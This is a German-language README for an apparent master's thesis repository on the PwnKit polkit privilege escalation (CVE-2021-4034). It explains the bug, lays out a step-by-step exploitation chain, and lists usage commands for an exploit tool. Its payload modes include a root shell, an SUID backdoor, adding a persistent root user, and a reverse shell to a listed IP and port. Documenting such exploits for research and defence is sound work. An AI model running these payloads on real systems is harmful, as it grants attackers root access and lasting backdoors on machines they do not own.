
Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques.
Speicherkorruptions-Schwachstelle im pkexec-Dienstprogramm von polkit
Lokale Privilegienausweitung → root durch Out-of-Bounds-Schreibzugriff
Betroffen: polkit 0.105-31 und früher · Patch: polkit 0.105-33 (Januar 2022)
Interaktive Root-Shell erlangt durch CVE-2021-4034 - PwnKit
Dieses Repository enthält meine Masterarbeit-Forschung zu CVE-2021-4034, einer Schwachstelle mit hohem Schweregrad (CVSS 7.8) zur lokalen Privilegienausweitung im pkexec-Dienstprogramm von polkit, allgemein bekannt als PwnKit.
Die Schwachstelle entsteht durch einen Out-of-Bounds-Schreibzugriff in der Argumentverarbeitungslogik von pkexec. Wenn pkexec mit einem leeren oder manipulierten argv ausgeführt wird, liest und schreibt es über die Grenzen des argv-Arrays hinaus in das envp-Array, wodurch ein unprivilegierter lokaler Benutzer bösartige Umgebungsvariablen injizieren kann, die anschließend als gemeinsam genutzte Bibliothek geladen werden und beliebigen Code mit Root-Rechten ausführen.
| Aspekt | Beschreibung |
|---|---|
CVE-2021-4034/
├── README.md # Diese Datei
├── LICENSE # MIT-Lizenz
│
├── exploit/
│ └── pwnkit.py # Erweiterter Exploit mit mehreren Payloads
│
└── docs/
├── screenshots/ # Exploitation-Demonstrationen
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Ursachenanalyse der Schwachstelle
├── 02-exploitation-chain.md # Aufschlüsselung der Exploitation-Kette
└── 03-timeline.md # CVE-Zeitleiste
pkexec --version zeigt 0.105 oder früher)apt install gcc)# Interaktive Root-Shell (Standard)
python3 exploit/pwnkit.py -p shell
# Ausführungskontext überprüfen
python3 exploit/pwnkit.py -p whoami
# Benutzerdefinierten Befehl als Root ausführen
python3 exploit/pwnkit.py -p custom -c "id"
# SUID-Backdoor unter /tmp/.sh erstellen
python3 exploit/pwnkit.py -p backdoor_suid
# Dauerhaften Root-Benutzer hinzufügen
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Reverse Shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
pkexec verarbeitet sein eigenes argv, um das ausgeführte Programm zu lokalisieren. Wenn es mit argc == 0 (leerer Argumentvektor) aufgerufen wird, schlägt die Grenzprüfung von argv stillschweigend fehl. Der anschließende Out-of-Bounds-Lesevorgang behandelt envp[0] als argv[1], und der Out-of-Bounds-Schreibzugriff zurück in envp ermöglicht es einem Angreifer, eine Umgebungsvariable durch einen manipulierten Pfad zu ersetzen. Wenn pkexec später g_printerr() aufruft, lädt es GCONV_PATH aus der nun vom Angreifer kontrollierten Umgebung und lädt eine vom Angreifer bereitgestellte gemeinsam genutzte Bibliothek mit Root-Rechten.
argc == 0 → argv[1] reads envp[0]
argv[1] = "GCONV_PATH=." (writes back into envp)
pkexec loads ./pwnkit.so (attacker-controlled shared library)
gconv_init() executes as root
1. Craft argv = { NULL } → argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)







Alle Tests wurden auf einer isolierten VirtualBox-VM mit Ubuntu 20.04 LTS und polkit 0.105-26 (anfällig) ohne Netzwerkzugriff durchgeführt.
| Dokument | Beschreibung |
|---|---|
| Ursachenanalyse | Out-of-Bounds-Schreibzugriff in der Argumentverarbeitung von pkexec |
Diese Forschung ist Teil meiner Masterarbeit in Cybersicherheit (UCAM — Campus Internacional de Ciberseguridad), die N-Day-Schwachstellen in mehreren Umgebungen analysiert.
Diese CVE repräsentiert den Vektor der Linux-lokalen Privilegienausweitung innerhalb der Arbeit und demonstriert:
Schlüsselwörter: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit
Annais Molina (devianntsec) — Masterstudent in Cybersicherheit
MIT-Lizenz — siehe LICENSE
Dieses Repository wird nur zu Bildungs- und Sicherheitsforschungszwecken im Rahmen einer akademischen Masterarbeit bereitgestellt. Alle Tests wurden auf isolierten virtuellen Maschinen ohne Netzwerkzugriff durchgeführt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugte Nutzung gegen Systeme ist illegal und kann strafrechtlich verfolgt werden.
| Multi-Payload-Exploit |
| Python-Wrapper mit 6 Payload-Modi, darunter Shell, ID, Backdoor und Reverse Shell |
| Automatisierte Umgebungseinrichtung | Automatischer Aufbau von GCONV_PATH und Konfiguration von gconv-modules |
| Post-Exploitation-Module | SUID-Backdoor, Root-Benutzererstellung und benutzerdefinierte Befehlsausführung |
| Akademische Dokumentation | Ursachenanalyse, Exploitation-Kette und Schwachstellen-Zeitleiste |
| Payload | Beschreibung | Ausgabe |
|---|
shell | Startet interaktives /bin/sh als Root | Interaktive Shell |
id | Schreibt id- und whoami-Ausgabe nach /tmp/pwnkit_id.txt | Datei |
whoami | Schreibt UID/eUID-Überprüfung nach /tmp/pwnkit_root_test | Datei |
backdoor_suid | Erstellt SUID-Root-Bash-Kopie unter /tmp/.sh | Dauerhafte Backdoor |
add_root_user | Hängt benutzerdefinierten Benutzer an /etc/passwd an | Dauerhafter Zugriff |
reverse_shell | Stellt Rückverbindung zum Angreifer über Python her | Remote-Shell |
custom | Führt beliebigen Befehl als Root aus | Stdout / Datei |
| Komponente | Wert | Anmerkungen |
|---|
| Anfällige Binärdatei | /usr/bin/pkexec | SUID root |
| Auslösebedingung | argc == 0 | Leeres argv |
| Schreib-Primitive | OOB-Schreibzugriff in envp | Über argv[argc-1] |
| Lademechanismus | GCONV_PATH + gconv-modules | Standard glibc iconv |
| Ausführungskontext | gconv_init() in gemeinsam genutzter Bibliothek | Läuft als EUID 0 |
| Betroffene Versionen | polkit ≤ 0.105-31 | Alle gängigen Linux-Distributionen |
| Payload | Ergebnis | Anmerkungen |
|---|
shell | ✅ Root-Shell erlangt | Sofortiger interaktiver Zugriff |
id | ✅ uid=0(root) bestätigt | Ausgabe in /tmp/pwnkit_id.txt |
whoami | ✅ root bestätigt | UID/eUID = 0 |
backdoor_suid | ✅ SUID-Bit auf /tmp/.sh gesetzt | Dauerhaft nach Exploit |
add_root_user | ✅ Benutzerdefinierter Benutzer erstellt | Überlebt Neustart |
reverse_shell | ✅ Verbindung hergestellt | Python-Reverse-Shell funktioniert |
custom | ✅ Beliebige Befehlsausführung | Voller Root-Kontext |
| Exploitation-Kette |
| Schritt-für-Schritt-Aufschlüsselung der GCONV_PATH-Injektion |
| CVE-Zeitleiste | Entdeckungs-, Offenlegungs- und Patch-Chronologie |